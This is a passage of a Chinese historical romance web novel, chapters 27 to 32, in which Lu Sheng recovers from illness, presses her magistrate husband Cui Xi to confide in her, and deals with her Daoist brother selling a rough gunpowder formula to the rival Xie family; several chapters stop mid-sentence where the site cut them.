可她的话已经说到这个份上,崔息还能驳斥什么?人家是阔别多年的兄妹,而自己呢?没有情感立场,也没有道义立场,他只好再 27. 第 27 章 《成为县令夫人以后》全本免费阅读 桌上只有秦厌大口咀嚼,他端着盛满米饭的碗,夹一块赤酱东坡肉就能吃下小半碗。 崔息一如既往,板正端庄。 陆笙虚弱,只捏着碗喝茶。茶是阿木凌给的大茶,带着一股子焦香,想来是烤得时间和火候与自己不同。这样的火候下的大茶很苦涩,但回甘却异常猛烈。 “娘子,我们来时天公大雪,山路不通又不敢贸然走小道,所以迟了许久。秦厌路上还讲,回去就要帮你盖屋子,那点活都不用他们来了。没想到你自己就办完了,真真是能干!”沈管事喝一口笋干老鸭汤,鲜味足得抚平了这些日子的颠簸。 “就是,我还想帮笙姐姐做一些活呢!这次回来可心焦了,还好最后一日得了团聚。”他咽下嘴里的食物,边说边摇头,似在感慨行路实难,又忽然得了什么灵光似得拍一下手。 他跟陆笙故作神秘地讲:“这次出去我可记挂姐姐,给你带了你最需要之物。” 最需要之物?陆笙用指腹部轻轻揉一揉自己的太阳穴,自己最需要的是什么? 钱吗?钱吧? “喏!” 说着秦厌从自己的坐垫下拿出一把细刀子,刀子细但锻造精良,刀鞘打了大漆,内敛的光华,还有一树铜做的梅花护持,保护顶端与鞘口不受外力轻易就分开成两段。 陆笙眼睛里有了些神采。她确实缺这个,当初就想换的,可惜永平县的铁匠水平稀疏,造些菜刀都是勉强可用。还没等她兴奋完,沈管事也从手边拿出一把短剑给她。 “娘子如果用得惯那细刀子,那这剑也是好用的。” 那剑也是一样的鞘,陆笙一下拔出剑来,那光落在脸上,瞳孔深处随着剑微微发亮。 “多谢丰娘、秦厌,真是有心了。” 这刀剑一看就是出自同一位师傅,两个人应当是在一家店买的。 陆笙有点不好意思,左手右手都拿满了。两个人对自己真是没的说,把自己当成一家人,所以……这次出去又不带自己的主意多半是崔县令的。陆笙心里发笑,什么多半,肯定是他的。 秦厌看她欢喜很是得意,伸手遮住她看向刀剑的视线说:“阿郎也给你买了,我去给你拿!” 崔息身体微微一僵,自己买的东西什么时候被他发现了? 可看到秦厌回来,以及他手里捧着的东西时他不说话了。 陆笙看看崔县令,又看看秦厌手里的东西,心里实在震惊。 一把亮闪闪的斩肉刀?还是那种肉铺子里能斩猪头的宽背厚实的,刀几乎是四分之一圆的形状。 沈管事看着这把斩肉刀也惊得忘了说话。 “笙姐姐一定喜欢,对吧!”秦厌欢欢喜喜地把刀递给陆笙。 陆笙郑重地两手接下,一只手她实在是怕刀落到饭桌上,把这碗筷连带着桌子一起砸穿。 饭毕,沈管事拎着秦厌走了,只留下娘子和阿郎相对而坐,她还贴心地给两个人换了一炉炭,又点了一炉檀香。那把斩肉刀问询过陆笙意见后直接送去了厨房。 “崔郎,没有什么事我先离开,我的屋子已建好,从今以后可以分房睡。”她点出这事,希望崔息不要强留自己。 崔息却直接绕过,问阮清淮,问他是哪里人,又问他做过什么事。 “阿兄的事我知晓不多,十五岁前他一直在永平县,而后去了上京,据说曾为先皇奉丹。”陆笙原原本本地说,他是县令,问一嘴就一嘴吧。 崔息心里纷乱,没有再留陆笙,两个人平常一般作别。 回到自己的屋子,陆笙觉得力气被抽空,这病看来还要一些时日,但欢喜就欢喜在屋子建好了。 这屋子她顶满意,首先昂摩帮她用经烧的砖头做了想要的壁炉,还砌了暖墙。其实这事她只是听过,描述给昂摩以后,她先是做了个缩小版的实验,改进几天以后直接破墙帮自己做成。 如果夏天自己要烧壁炉除湿,但又不希望暖墙发挥作用,那么自己只要用铜片像关闸门一样把口子关上即可。至于烟道,这是她早定好的东西,一直放在家里。 如果把自己的屋子比作一个竖着的长方形,用俯视图看,顶层最左的小方块是梯子。这是用来攀爬到上部空间的,这个屋子层高异常地高,所以她建了个lofter,但只占房间的四分之一面积,约莫十平米左右。 关于梯子怎么摆她纠结了好久,后来决定搭靠在墙上,因为这样一来这里就会被她设计的帘子遮住。帘子左右都有,收拢时左边遮梯子,右边遮一些短兵器,自己的隐朱绳就可以挂在那。 没有遮住的就是三个长方形柜子,呈现高低错落的模样,中间的最矮,两边的比较高,它们也不是连在一块的,中间空的部分由更深一些颜色的木板衔接,到时挂一些东西或者再做上隔板储物。又因为这时候的书卷比较长,所以陆笙把柜深加到了五十公分左右。 壁炉在最小方块的左侧,和梯子隔了一米多。陆笙当时的要求让昂摩着实为难了一阵,因为壁炉重量很大,直接建在木板上很容易坍塌,甚至发生火患,最后选择把地板挖开,用石头垫住,这样壁炉的重是落在地上。 至于防火,她们三个人最后决定做一个铜板封住炉口的同时,周围的地方铺上铜片。铺设铜片的时候废了昂摩很大的劲,为了不让铜片和整体木板不平,她和陆笙把周围的木头削了一些。 除此之外,陆笙还让昂摩帮自己在屋子的地板下放了很多干燥土陶片,这些土陶的主要作用是干湿调节,它有很多细密的孔洞,可以在在潮湿的天气吸收水分,在干燥的时候再把水分释放出来。 诶呀,真是越看越美,陆笙坐在炉火边的月牙凳上感慨。因为做得精细,所以剩下的家具和空间分割根本来不及做,她决定等春天来时再考虑。她要画高桌高椅,几案写画的日子至今不那么习惯。 “笃笃笃。” 忽然传来三声响,陆笙都不用猜是谁,敲门敲得这样齐整平和的也只有他。 “陆笙,是我,云尘。” “我已休息,请您回去吧,天冷。” 崔息却不肯放弃,他说:“我送你的并非那菜刀,是秦厌作怪。” 既然是来送东西的,陆笙想了想还是去开了门吧,有句歌词唱得好:礼多人不怪。 于是她缓缓走过去,将门栓打开,但崔息却没有推门的意思,她要将门打开都感受到一股阻力。 这是做什么? 陆笙疑惑,她轻轻敲一敲门告诉他:“已经开门了。” “我知道,你先进去,外面的风太冷。”他的声音带着些颤抖。 陆笙退到原位,门一下打开,风雪飘进来,然后是肩上积了些 28. 第 28 章 《成为县令夫人以后》全本免费阅读 第二日一早,沈管事挨个敲门,手里捏着自己备着的红包。 虽然她身份是管事,可是对这三个小辈都是真心疼爱,敲崔息门的时候他不应,沈莲丰就直接去后园,结果一敲门,小夫妻俩果然都在这。 两个人一脸困倦未得好眠的模样,沈管事看了却偷笑,这是床头打架床尾和了?但下一秒就叫她胆战心惊,娘子直挺挺倒下去。 沈管事眼疾手快把人接住,用手一探,暗道:不好,不好,怎么滚烫成这样! “阿郎,快去请大夫,你让我说你什么好!”沈管事急吼吼的声音把崔息完全叫醒。 崔息心里立刻反应过来是昨日的缘故,难道是没有帮她擦汗么? 他心下内疚,立刻大步走出去,阳光耀目,他抬起手遮了遮,却看到阮清淮走来。 阮清淮是道士,也懂些医术,轻轻探一探陆笙的脉象,面含愠怒。一把就直接抓住崔息的领子目露凶光地瞪着他,狠话却没有放,只一把将人推了出去。 “阿兄……”陆笙头晕目眩,轻轻喊一声。 阮清淮应声,请沈管事为她擦拭身子,自己则去为她煮药。 崔息第一次不知道如何是好,留下不好,走开也不好,还是沈管事给他指路,让他去请张远清。崔息恼怒得拍了一记自己,飞身前往。 请大夫的路上,崔息怅然,难道是命中无朋无友?不如以后再离她远一些吧? 他这样想,可是只是一触即这层意思鼻腔就发酸,崔息大声吼了一声“驾”,不再纠结,只把纷纷的思绪全都踏在马蹄之下。 陆笙病得咪咪糊糊,还说胡话,阿木凌和昂摩听说了也赶来看她。阿木凌把她的隐朱绳带来,放在她的木架上。 沈管事问这是什么,阿木凌说是陆笙的宝贝,当年在南边一个厉害的人送给她的。没说的是,陆笙本人并不把这东西当宝贝,普通绳子一样用着。 昂摩给陆笙带了大茶,这次不是喝,而是点燃,研钵里研成粉末以后点上,有点像香的做法,但味道却与平时的香不同,是奇异地新鲜草木味,陆笙曾叫它枯木逢春。 等到张大夫来时,屋子里已经聚了一堆人,张远清替陆笙把脉了片刻,鼻子微微耸动,问:“谁点的?” 昂摩站出来说是自己,张远清看她的装扮与模样,点点头,没有叫她灭了的意思。 “大夫,怎么样啊?”秦厌最沉不住气,阿木听了凌锤他一拳。 张远清捋一捋胡子,半天不说话。 这时候轮到阿木凌急了,她说:“大夫,她这么年轻你可一定要救她啊!” “诶,急什么,没事,一点事也没有。这些日子,你们看到陆小娘子去山里了么?她是同老虎拜把子还是与野猪打架了?”张远清说的话莫名其妙,秦厌两道粗眉快要连成一线。 阿木凌抿抿唇沉默。 阮淮清站起来说:“都不曾,这些日子阿乐都在修这栋屋子。” “奇怪。” 阮清淮大概知道这张大夫是什么意思,可秦厌不明白,小声问:“大夫,您就说治不治得好吧,急死人了。” “不用治,静养就好了,安神的药我开一些,你们别大喊大叫刺激她。”张远清边晃脑袋边写药方。 写完视线一摆,怎么没有那崔县令? 啧。 - 年后的天阴晴不定,阮淮清身上的降真香味道已变成了苦涩药味,但今日他心情颇佳,因为陆笙的病已经快好了,这是她吃的最后一帖药。 走到后园的屋子里,阮清淮把药放到凳上,一只手挡宽大衣袖,另一只手往壁炉里添了几根木柴。 这炉子新鲜得很,世间估计只有自己的好阿乐才能做出来。出去以后他每年都很想念陆笙,尽管在大明宫来去多年,但他们的东西只是空有金碧辉煌,土杯子变成金杯子,再虚张声势地雕花雕龙,阿乐不一样,她是返璞归真又扶摇直上。 “阿兄,药我自己吃就好,一口气喝下去,省得还要受一勺勺的长久折磨。”陆笙伸手接过碗抱怨。 阮清淮摇头说:“这药是给你吃个苦,可以一点点醒神。” “哦?真的?”她拿着勺子哼笑一下显然是不信。 阮淮清淡淡地点头,是蒙蔽她的,可是他喜欢,他就喜欢看陆笙听自己话的模样。 “阿兄……” 陆笙还想说什么,却被阮淮清按下,让她有什么事喝完药再说。陆笙微微恼怒,但久别重逢的珍惜还是压过了这份情绪,拿起勺子一勺一勺地舀入嘴中。 阮清淮端坐一旁,修长的脖颈微微低下,黑白分明的眼睛看着陆笙喝药,药沾在陆笙的唇边,积少成多变成一粒滚圆最后从唇边滴落。 他看着喉结滚动一下,喉上红色小痣跟着动了动。 “喏,喝完了。”陆笙把碗底给他看。 尽管苦涩到抗拒,但她还是忍者一口一口喝下去,喝完还能朝人笑一笑。 “我在路上遇到庄叔了,他再过几日应该就会到西域关口。庄叔很好,人很精神,就是赶路瘦了不少。” “好,多谢阿兄传递消息,阿耶瘦了也好。”陆笙低头拨弄一下勺子。 “说吧,你方才要跟阿兄说什么?”阮清淮走过去,将她垂落的发丝挽到耳边。 这几日修养陆笙苍白了一些,原来麦似的肤色加上那对笑眼很有生气,像作怪的橘色猫儿。但,她白了也好看,有一些其他人难企的风姿。 “你去让秦厌把崔县令喊来,这件事应当我们三个人说。”陆笙的手指搓一搓碗底,试图把心里那一层尴尬也搓了去。 阮清淮笑得如同朗月,他问:“他不是你夫君么?怎么喊崔县令?” “阿兄莫要调笑我,此事很是要紧,快去。” “听阿乐的。”阮清淮揉揉她的头,仿佛还是少年时。 看着阮清淮的背影。 陆笙想到曾经少年时,那时候她还像个小大人一样看管过他们,那是连带着阮清淮他们一帮孩子。 其中阮清淮最顽皮,但十五岁以后这人就好似换了个人似得,不仅长得愈发挺拔,人也沉默起来。 她不知道发生了什么,那年她正要买辔头甩长鞭,离开永平县前往燕北。 好像快十年了,阮清淮有些陌生 29. 第 29 章 《成为县令夫人以后》全本免费阅读 晚食过后,陆笙用略微严肃的口吻喊住崔息。 崔息神情意外,他还以为陆笙会对自己避之不及,毕竟自己一连让她病重了一回,如今她因病苍白的面孔和尖瘦的下巴让他觉得自己无比混账。 应下她的呼唤,崔息的眼睛却不肯与她对视。她的眼睛太明亮,仿佛洞中观火,令人晕眩,其实木楼之中轻笑询问时陆笙的眼神就晃过自己的眼睛。有时候崔息分不清是自己太暗,还是陆笙太亮。 “抬起头来。”陆笙恼了,一拍他的衣袖。又蓦然轻笑,“记得吗?你洞房花烛夜那晚对我说的。” “嗯,记得。”崔息抬头,看着她的笑容也微微笑一下。 陆笙带着他来到自己的屋子,现在屋子里铺了一条胡毯,是丰娘中午时候拿来的,说怕娘子冷着,有了这胡毯就坐在炉边烤火。 两个人相对而坐,陆笙拿了两个黄澄澄的甘柚放在炉边,柴火猎猎而响,柚皮受热收缩并释放出一阵阵清香。 崔文身上的檀香味也在温热的环境里一点点弥漫,混在陆笙的药味里。 陆笙冲了一杯大茶,褐色的茶水氤氲出一阵朦胧,她将茶水送入口中,语气冷静地说:“崔息,我们何时和离?”她选择用夫妻身份说这句话,喊崔县令分属官民,不合适。 崔息双手攥紧,眉头也皱起来。 “如果我猜得没错,你只是需要一个结婚的结果,并不在乎和谁结婚,对么?” “为什么?”崔息忽然抬眼问陆笙。 “什么?”陆笙不明白这个“为什么”指的是哪一样。 崔息深呼吸,决定掌握主动权:“当初你我已经定下协议,你如今反悔,是为什么?是因为你阿兄回来了么?我知道,他与你并无亲缘关系!” 陆笙听到他这样说,忽然笑出了声,这是什么思考方向?难道是他很在乎这场婚姻?陆笙不信,一想到这个选项就把它自动排除。 “当然不是。” 崔息不明白,那为什么要和离,因为自己的隐瞒么?可是知道反倒对她不好,陆笙应该开开心心的,何必听这些龌龊事,平白污耳秽听。 其实也有怕,怕听完陆笙头也不回地离开自己,可能性很小,但阻挡不住那种破土的恐惧。 可陆笙开口说的却不是,她说:“是你这个官当得不好,我不想被人说崔县令娶妻以后形销骨立,怕别人觉得我是什么恶人。四年以后你是出家了,那我呢?我可还得在这永平县继续活着,崔大人,你我道不同,莫要断了我的后路。” 陆笙点出他的荒唐之处。 崔息听到这里却心有郁气,自己为永平县做了这样多,形销骨立的原因肯定是忙于县政,怎么会…… “崔息,你是不是在想你为永平县做了什么?我在说我,县令大人,您没有考虑民女我。大人与我的约定应当是互惠的,如今你却要陷我于不仁不义。这样亏本的买卖,我是不会做的。”陆笙忍不住纠正他,压着一点怒气,虽然她知道,人总是从自己开始考虑的。 崔息看她,胸有成竹的模样,她胸怀丘壑,说的一字一句都锐利无匹,自己龌龊和卑鄙上的伪装被她言语的狂风骤雨吹去,他有些无地自容。想到这里崔息忽然明白,原来自己的心并不纯粹,无数借口掩盖着不敢见人的心事。 “以后我会努力加餐饭。”崔息把话题绕到解决方案上。 听到这里陆笙松一口气,因为由此证明崔息他是不想和离的,她也是在赌,赌自己是不是个合格的合作伙伴。 上过班的人都知道,一个合格的合作伙伴是多么难得,减少了沟通成本不说,还有情绪价值,生活都会愉快上两三分。 “表面缘由确实在吃饭与睡觉,可是又是什么让崔大人食不知味,夙夜忧叹呢?”陆笙不允许他装傻,割肉剜骨锥心之痛也要把问题扒出来,虽然这也很费自己的脑子,她不擅心的角逐,陆笙不着痕迹地擦一擦汗。 “阿乐……这件事,你还是不知道为妙。” 真相出现的那天崔息心里就开始下起暴雨,一切都在模糊不清,他在拼命用道心围堵,积蓄的雨水渐渐成塘再成泽,如今已不敢轻易泄去,只怕控制不住成为人间鬼。他最近都不敢直视自己,因为如今面容如此也算是相由心生。 同时他又享受着这样干脆的堕落,想着不如就这样抛于天地之间,再也不去克服与守护。 崔息他更害怕,怕她看到自己的丑陋。 他听到自己的脊骨在咯吱作响,咬牙忍耐,希望陆笙不要再放出言语的诱惑,让自己看到一瞬的华彩,仿佛顺着她说着就可以看到雨后长虹。 “崔大人,我知道你看轻我,可我与你到底哪里不同,你口口声声说为我好,那我是不是与你成婚了?我既已摸到真实的边缘,你还要我相信这眼前的粉饰么?” 崔息不说话,他的牙关颤颤,真相欲震荡而出。 “大人见过我驾车,若我胆小怕事现在已在九泉之下,陆笙要与大人同舟,何时说只坐崔大人的船了?”陆笙把茶水递给他。 崔息心情本已在溃败边缘,听她这么一说眼泪忽然落下来。陆笙吓了一跳,但下意识抱住他,她要把玉山乍崩的刹那停下。 两个人的动作将茶水打翻,崔息热泪如珠,滚烫得仿佛要灼伤陆笙的背。 “云尘,昔有人王大禹,其治水之法是疏导而非阻塞,人情如水,需要流去而非留下。”陆笙拍拍他的背,轻轻安慰。 “我……明白。”崔息紧紧抱着她不肯松手,像快要淹死的人抱着稻草。 陆笙叹一口气,只是说到这里还没有动真正的言语力就溃不成军,他太诚实太轻易地就将自己托付了,防备比她想得低。 崔息的确有一颗仁心,但仁心为人称颂,真正有的人却不快乐,更不知道需要多么锐利的智慧才能斩破迷障,陆笙轻轻拍他的背,也想着自己的心。 泪落了,崔息却笑。 “笑什么?”陆笙轻轻松开他,然后脱下外面的衣衫,上面的泪痕斑驳得厉害,翩翩君子一生的泪是不是都落在自己的衣服上了?不知道这件衣服会不会和湘妃竹一样斑驳。 “我笑自己悟禅皆是言语游戏,无论如何辩驳,都不如这一次的桶底子脱。” 陆笙感慨似得说:“是你聪慧,悟在一念之间,有我无我也是一样的。” 崔息看她长睫扑簌,忽然紧捉她的手腕,她瘦了许多,瘦得叫崔息心惊。 “阿乐,若你有难陈之情,云尘愿为你分忧。” 后面“万死不辞”崔息忍下来没有说,他怕说得太满,陆笙厌弃他,君子之行大于言语。 崔息立刻放开她的手,忽恨自己嘴拙,怎么就是难陈之情,他只是心头有那么一瞬间的害怕。 陆笙是个太不在意自己生死的人,甚至就算零落成别人脚下尘泥也能笑说本就如此,他不忍见。 “好。”陆笙说的时候笑容隐约,近似于无,又催促他赶紧把事情交代清楚。她自己的心虚快要藏不住。玩弄心机技巧的每一次陆笙都觉得心有所愧,或者尴尬。 崔息缓缓道来,心理防线退下后,往事虽依然在痛,但减了羞耻,拨了冗杂。从前那一番心境又缓缓升起,如月破乌云,皎洁入心,一片光明。 说着说着,目光里的陆笙的身形忽然垮塌,她用手支撑着自己的 30. 第 30 章 《成为县令夫人以后》全本免费阅读 阮清淮住的是竹木的屋子,烧起来极快,现在没有化成灰的一小半也已被烟熏的黢黑。 现在他正坐在陆笙的屋子里吃糖,陆笙跟人定做的高桌大椅还没到,隔开空间的屏也没选,一望到底的空间里,阮清淮就这么盯着她。 “你的拂尘没事吧?”陆笙有点不好意思。 阮清淮“哼”一声后开口“你给我的是什么方?要不是我炼丹多年,差点就被炸得皮肉都不剩了。” “我也没让你伏火,就让你配上。”陆笙为自己辩驳一下。 这个倒是事实,阮清淮借机发作的心情稍稍平息,里面也有一些自己的错,把需要伏火的材料同这个混错了。 “只是有这样的阵仗,你是把方子的具体量给配出来了吧?”陆笙激动地搓搓手。 阮清淮眼皮半抬藏笑,嘴上淡淡应了一声:“嗯”。 陆笙面上含光,真好,这样炸通堵塞又多了几分把握。 阮清淮是道士,平时多与丹道打交道,按现代职业分,他算半个化学家。 炼丹时要经常要将硫磺退火,退火时就用伏火法来炼丹,这法主料有硫磺与硝石,这法若出现意外后产生的爆炸效果是陆笙需要的。 说起来,永平县此时很多普通人家的爆竹还都不是火药做的,是干烧竹子,竹子烧起来会劈啪作响,所以她给的大致配方的威力可以说是奇大无比,震撼人心,焰火就看一亮,她的方子又响又亮! “那这些日子的消息是阿兄你放出去的么?”陆笙大喜之后逐渐冷静,想到昨日听到的传言。 传言说有道士得一妙计,若通水路,那便如龙点睛,永平镇的风水能活。 县城有名有姓风风光光的道士只有阮清淮一位,很难不让人怀疑是他的手笔,但陆笙觉得问了也白问,这人的性子好像比从前难缠几分。 “崔县令是今日去谢家么?” 他指的是谢家似乎闻风而动,邀崔息商讨如何通水上商路一事。 “嗯,崔郎刚出发。” 阮清淮听到“崔郎”两个字眯一眯眼睛,口中的桂花香犹在唇齿,他问陆笙少年事:“十五岁时庄叔让你嫁人的事你记不记得,又记不记得你说愿意嫁给我?” 陆笙目瞪口呆,这事绝无可能! “骗你的。” 阮清淮笑,又忽然说出一件平地惊雷般的大事。 “阿乐,从前我侍丹于先皇,如今我另奉她主。主人求贤若渴,欲开寒门科举不论男女。阿乐,你会来吗。”他说的问句,但是语气却很肯定。 居然有这样翻天覆地的大事。 陆笙震惊,心里感慨完她说:“阿兄,这事我就当没有听过,你我都忘了。” 这个消息譬如那份火药,一旦燃起必有大震荡,可陆笙志不在此,她有自己的疑惑要解,有自己的路要走。 “为什么?你真的甘愿做那崔息的智囊?凭什么?!”阮清淮替她不平。 陆笙没有解释,答案他知道,只是一时心绪蒙住了阮清淮的眼睛,但他情绪如此,还是答一回。 “我只愿当那曳尾于涂中的泥龟,没有青云之志,比起呼风唤雨,我还是对如何种出一亩丰收的稻米更感兴趣。”陆笙支着下巴说。 阮清淮不再强求,人各有志,就是可惜,主人是一定会爱惜她的,她是个爱才的人。 “好,时间还长,以后你的答案会不一样的。”阮清淮并不愿意认输,因为陆笙并没有尝过权力的滋味。 “对了,我已经把火药方子卖给谢家。”阮清淮背负使命,但火药一炸,身家已无,虽然还有别的办法,但最终毫不犹豫地选了这个。 陆笙脸色有些难看,盯着阮清淮看了一会儿。 “要问我的罪?”阮清淮笑吟吟地扣了几声桌。 “不了……” 阮清淮的笑僵在脸上,然后没有达成目的似得惨笑一声。他的神色又很快转为平静,唇边挂笑似戴假面。 两人之间一时沉默。 无了话,陆笙听见自己的心跳得很快,心里蒙上一层担忧,心想若是谢家掌握水道,那他们要赚回来的就不止买火药的那份钱了。 - 崔息受邀来到谢府,依旧是谢林家。 宴会较第一次来时规模更盛些,同席者众多,崔息有些不明所以,既然是男女老少同席,怎么帖子上就请自己?应该连自己的夫人一块请才对,枉谢林还自夸为名门之后。 难道今天不是来商讨水路一事?崔息狐疑。 “来来来,崔县令,请尽饮这杯屠苏酒,辞旧迎新啊,哈哈哈……”谢林今日容光满面,不似从前。 崔息悄然避开他已略显醉态的劝酒动作,托起酒杯饮尽了。 只是方饮下,又有人来劝他饮这椒柏酒,说小辈已饮,现在轮到才俊与淑女们饮。崔息左右一看,席间老少各个喜笑颜开,混似家宴。 他不再动作,谢林又来劝。 “本县不是谢府亲眷,饮这椒柏酒怕是不妥,还是谢府自比……”崔息直接把酒一倾,一点面子也不留。 谢林听他这么一说酒醒了三分,今天太过得意,他一个没有官身的怎好在这样的场合劝县令这椒柏酒。 “明府请勿动怒,来,吾儿栖真,为明府沏一杯好茶。”谢林拍拍手。 崔息稳坐不动,谢栖真拿着错金的大银壶为他斟茶,末了还添上胡椒、盐粒与薄荷叶,崔息颔首道谢,却连杯子也不去碰。 谢林先不触他的霉头,命人将崔息引至小厅说话。 要去谈事前,谢林却被女儿责怪。谢栖息说:“阿耶,之前没看清,现在一看这崔县令如此文雅高逸,您应当荐我与他成婚的。” 上次的宴会她没来,听说谢卉真出了丑还失望了好一阵,失望没能亲自看看这个跋扈的妹妹被灭威风的时刻。 谢林一推她的手急急说:“千万不可。” “又如何不可?爹爹通了那水道他不就升官有望了么?他那字也造不了假,那样一手字,实在少见,女儿相信他必然是崔氏子。爹爹,你想,若能搭上他的便利,家里迁去上京不也指日可待吗?”谢栖真劝道。 “可……万一不是呢?”谢林沉思。 31. 第 31 章 《成为县令夫人以后》全本免费阅读 冬夜里,崔息提灯站在廊下踌躇,他当然知道谢林的话是恶意挑拨,但心却无法平静。 他命秦厌打听过了,谢家把药铺子和杂货店里所有相关的材料都买尽,也就是说就算有配方,一时间除非是谢家卖给他材料,否则根本没有配置出火药的可能。 “云尘。”有人喊他。 崔息转头,是陆笙。 “阮清淮说他把□□卖给了谢家,你此行有何不顺么?”陆笙走到他身边,双手在裹紧的披风里环抱着。 崔息摇摇头,又劝她回去,外面的天实在冷。 “你不是来见我的?也没有话要问我?”陆笙对他笑,她断定谢林肯定会以自己与阮清淮的关系扰他这个崔县令一下。 崔息看着她清减的面孔,心情忽然平静下来,笑着摇摇头无奈道:“一点也瞒不过你,现在谢家把硫磺、硝石全都买空了,就算有配方都做不出东西来,我心如煎。” “做出来又如何?”陆笙笑着反问崔息。 “做出来了则……”说到这里崔息也笑了,是啊,把火药做出来了又如何?这方法还握在陆笙的手里,而且听她的意思,阮清淮并不知道。 崔息便问:“你与他商量好了?”他以为是陆笙存心要诓骗谢林。 “阮清淮自己做的主。不过我给的方子只是粗略的,是他配出来的具体数,所以卖就卖了吧,他也正好要继续寻香问药去。”陆笙语气中寻不到太多情绪起伏。 但这一次见面与分别,阮清淮和自己的关系应当变了一些,渐行渐远,是应了那句,欲买桂花同载酒,终不似,少年游。 至于责怪,既然木已成舟,人情已薄,怪谁这件事不过徒增郁气,陆笙选择接受。 听了这一番话,崔息心里压着的石头这一瞬间全部放下。 “不过,还是得快些准备着,我能想得到的法子也不一定只有我能想到,万一人家想出来了呢?”陆笙还是有危机感的,她的方法并不高明。 崔息忽然想到一个问题,自己是朝廷命官,有责任去担当这件事,可陆笙呢?力挽狂澜之士所求不过一捧解渴水?若为钱财,她大可坐收过路费,但偏不。 子曰“君子爱财取之有道”,看来她自有她的道。 “阿乐,以后你会做生意吧?” “嗯,用我的月俸。”陆笙特地强调一下,作为搭子,她是懂界限的。 “库房随意支取,我用钱无度,怕四年以后柴米油盐都买不起了。” “……行,只是盈亏需自负。” 两个人灯下闲话,陆笙建议崔息飞书一封去请上次的工匠,就说来补一些屋子的部件,有复杂的构件损坏。 “好。”崔息点头。 “云尘不问缘由?”陆笙觉得好笑,清汤大老爷不怕被骗? “阿乐自有阿乐的道理。” 陆笙感慨,要是上辈子也能维持这效率,那这职就……算了,还是得辞。 她受不了公司中央空调要死不活的样,还有不停高斯模糊再清晰的会议室玻璃罩子会逼疯自己。 - 第二日清晨,陆笙被一阵锣鼓声吵醒。 收拾完踏出屋门的时候发现仆役已通通回来,她问外面何时发生,仆役答是谢家在重金求才。 重金求才?想必就是为那水道的事,陆笙去厨间拿了个蒸饼,边吃边往外面去。 出门陆笙遇到阿木凌和昂摩,两个人尾于人群后,在讨论什么,看到陆笙朝她挥手,示意她过来。 “陆笙,这火药不是和你一起长大的那个道士配的么?怎么没有先给你?还是你们吵架了?”阿木凌问得直接。 陆笙:“嗯,你们准备去献计吗?” 阿木凌看一眼昂摩,意思是,阿娘你看,陆笙这是故意糊弄呢! 昂摩抚一抚女儿的头,笑着回答陆笙:“你要用得上我们的法子,我们就不告诉别人了。” “没事,去说吧,谢家出手应该很大方。”陆笙知道昂摩带着孩子不容易,而且就算她们不说也有别人的法子,谁能说除了她们就没人想得出来?所以这钱能赚则赚。 阿木凌对她这种的处理问题的方式每次都要损几句,但又因为她的心性而敬佩这个厚脸皮的陆笙。 人不为己天诛地灭,在陆笙这里,天地估计已经交替无数次。 不过……自己什么时候跟这永平县里的人这么相似了,有那么一点唯利是图。阿木凌惊恐,让陆笙狠狠捏自己两下。 陆笙心不在焉,随意捏两下就去四处打听。 问了一圈她弄懂了大致的意思,就是谢林是提供火药,如果有人有办法就来试,但法子得报给谢家听,谢家点头才能动手。 一开始无人去报,怕点子白白给了人,但下午的时候陆笙就听到某方向有什么响动,她觉得这大概就是谢家的试验开始了。 秦厌如果现在在估计已经像蚂蚱一样蹦起来,其实陆笙也快蹦起来了,声音时不时传来让每一分每一秒都变得煎熬。 但事已至此,还是做点东西吃吧。 陆笙来到厨房转一圈,阿灵在看灶,手里捏着一张粗黄的纸在翻看,连陆笙靠近都没有发现。 陆笙没打搅她,自顾自去放食材那一侧转了一圈,冬天吃的东西不多,但意外看到有山楂果。 “娘……娘子,我……”阿灵藏着纸背过手急匆匆跑过来。 “阿灵在看什么?这么认真?”陆笙捏起一个山楂,擦了擦塞在嘴里,牙齿一咬,酸得五官被揉皱。 “在……在识字。”阿灵脸红红的,很不好意思。 陆笙很佩服,自己上班的时候只想摸鱼。 “把山楂洗了再继续识字。” “娘子要做什么好吃的?这酸红果子不是药么?”阿灵把这山楂倒进水里,洗的时候拿出一颗,嗅了嗅,但没有闻到什么味道。 陆笙在旁边拿空的篮子和细刀子,她要一颗一颗得处理山楂,手工把里面的核去掉。 阿灵把喜好的山楂递给陆笙的时候她顺口问了句:“阿椒呢?” “阿椒相人家去了。”阿灵提起这个又脸红红的,她也到了相看人家的年纪,但自己如果嫁了人外婆就没人照顾了。 陆笙点点头,拿了干布巾开始一颗又一颗得擦拭。 阿灵坐下又站起来,最后陆笙安抚她,这活第一次一般做不好,让阿灵先看着,下次再做,陆笙边讲边。 她先是捏起一颗山楂果,然后解释为何要擦这个水,告诉阿灵山楂泡水这果肉就容易变色。 擦完陆笙捏着细刀子开始剔果核,那刀子有点像自己用过的拆信刀。就这么一分心,她削去了自己的一片指甲。 阿灵吓一跳,陆笙摇摇头说没关系。 细刀从花朵谢去的地方刺入 32. 第 32 章 《成为县令夫人以后》全本免费阅读 杨珞云原以为真是屋子出了什么问题,没想到县令夫人另有所求。 “云娘子测算天赋极高,所以特请云娘子助我一臂之力。”陆笙说完自己的构想,对杨珞云行了一个礼。 杨珞云坐在桌边一时没了声音,她坏了的那只手不能动弹,一直由一根带子坠挂在身前,但她背脊挺直没有颓废,倒多添了几分深思熟虑的意味。 陆笙眼尖,发现她另一只手臂比受伤的那只壮些,怪不得能握住缰绳,佩服。 “我答应夫人,只是珞云有一事相求。” “若我行有余力,万事皆宜。”陆笙把走镖时那套吉祥话搬出来。 杨珞云低头禀情,说这件事对县令夫人来说不是大事。这次独她一人前来也是为此,之前黄脸汉子拉起来的一队人现在都散了,好些已去洛城。听闻洛城要建什么了不得的大屋高堂,大家都想去一试身手,但她不能同去。 “给皇家测算的人四肢要完好,否则不吉利。”杨珞云苦笑一下继续说,“听夫人刚才所言,不知珞云可否在夫人这谋个吃饭的活计,往后若夫人有账房需求,珞云也愿尽力一试。” 陆笙沉吟不语,杨珞云呼吸都小心翼翼,因为她已经问了许多之前有过往来的大户,没一个肯的。都不是心疼那一口饭,而是觉得她一个坏手的做不了什么,房子建好也不必再需要她的天才,自然就回绝了。 “我可以允云娘子一个活计,也不会少给报酬。但除此之外,希望云娘子与我常往来,我需要你的地方太多,但云娘子或喜静,不知能否接受。”陆笙想到了她的心算天才,这简直就是一个数据处理器,但她不爱说话避人这点又叫陆笙有些担心,不情愿的工作就像是给原本有裂缝的生活里塞火药。 杨珞云答应得很痛快,毕竟吃上一口饱饭比静与闹重要,而且她避人其实主要是怕别人嫌。 “好,那云娘子便随我来吧。” 